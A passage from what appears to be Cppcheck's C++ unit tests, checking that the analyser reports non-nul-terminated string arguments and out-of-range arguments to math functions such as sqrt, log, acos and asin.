Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 